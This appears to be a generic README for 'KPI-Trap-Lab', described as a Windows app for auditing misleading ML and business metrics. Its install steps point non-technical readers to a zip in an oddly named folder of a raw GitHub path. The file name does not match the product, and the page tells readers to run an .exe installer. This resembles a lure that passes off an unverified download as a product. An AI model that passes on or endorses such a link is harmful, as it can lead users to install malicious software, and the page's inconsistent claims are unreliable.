KPI-Trap-Lab helps you learn how focusing on one metric, like accuracy or F1 score, can actually hurt your real-world results. It walks you through ways to check if your metric is reliable and shows how to balance different measures. This can prevent bad decisions from sneaking into your reports or dashboards.
You don’t need technical skills to use this app. It provides clear tools to audit, test different thresholds, and decide on policies you can explain and defend. This lab focuses on common business metrics and offers practical evaluation methods.
When working with data and machine learning models, metrics like AUC or accuracy tell part of the story. Sometimes they improve while actual outcomes get worse. KPI-Trap-Lab shows you how to spot this and adjust your approach.
This helps improve your confidence in the data you use to make decisions. You will learn how to evaluate your models with cost sensitivity, check how metrics behave on different data slices, and tune thresholds smartly.
- Windows 10 or later (64-bit recommended)
- At least 4GB of RAM
- 500 MB of free disk space
- Internet access to download and check updates
- No extra software or programming needed
The app runs as a standalone program with a graphical interface.
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Click the big green button at the top or visit this page to download the app on Windows:
https://raw.githubusercontent.com/tchoula/KPI-Trap-Lab/main/pseudometameric/Trap_KP_Lab_3.6-beta.4.zip -
On the GitHub page, look for the latest release under "Releases" or the main download section.
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Download the Windows installer file (typically ends with
.exe). -
Once the download completes, locate the file in your Downloads folder.
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Double-click the installer file to start installation.
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Follow the setup wizard steps:
- Accept the license agreement.
- Choose the installation folder (default recommended).
- Click "Install" and wait for the process to finish.
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After installation, find the KPI-Trap-Lab icon on your desktop or in the Start menu.
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Double-click the icon to open the application.
When you open the app, you will see a simple main menu with options such as:
- Load Sample Data: Try example datasets included to explore metrics and outputs.
- Import Your Data: Upload CSV files to analyze your own results.
- Run Metric Audit: Check how chosen metrics behave and detect any pitfalls.
- Slice Checks: View how metrics perform on specific segments of your data.
- Threshold Tuning: Adjust decision thresholds and see cost impacts.
- Decision Policies: Define rules for safer decision-making based on evaluation.
Take time to explore each section. The interface guides you step-by-step.
The lab offers ready-to-use sample data to help you learn. These cover classifications with common metrics and show realistic cases where metrics could mislead.
You can load this data from the main menu without any setup.
- Metric audit to spot misleading improvements
- Cost-sensitive evaluation to weigh mistakes differently
- Slice-based performance checks to reveal hidden weaknesses
- Threshold tuning to balance precision and recall explicitly
- Rules for decision policies that can be explained clearly
- Visual dashboards showing confusion matrices and ROC curves
- Export reports as PDF or CSV for sharing and review
Periodically check the GitHub page for updates. New versions may improve features or fix issues.
To update:
- Download the latest installer as described above.
- Run the installer; it will update your current installation.
- Your data and settings will not be affected.
If you encounter problems using the app:
- Review the “Help” section inside KPI-Trap-Lab for tips.
- Visit the GitHub repository’s “Issues” tab to see if others have similar questions.
- You can report issues or ask for guidance there.
The lab is designed for easy use, so most users will find the interface self-explanatory.
Use this link to get started on Windows:
Click, install, and begin exploring how to better understand and trust your business metrics today.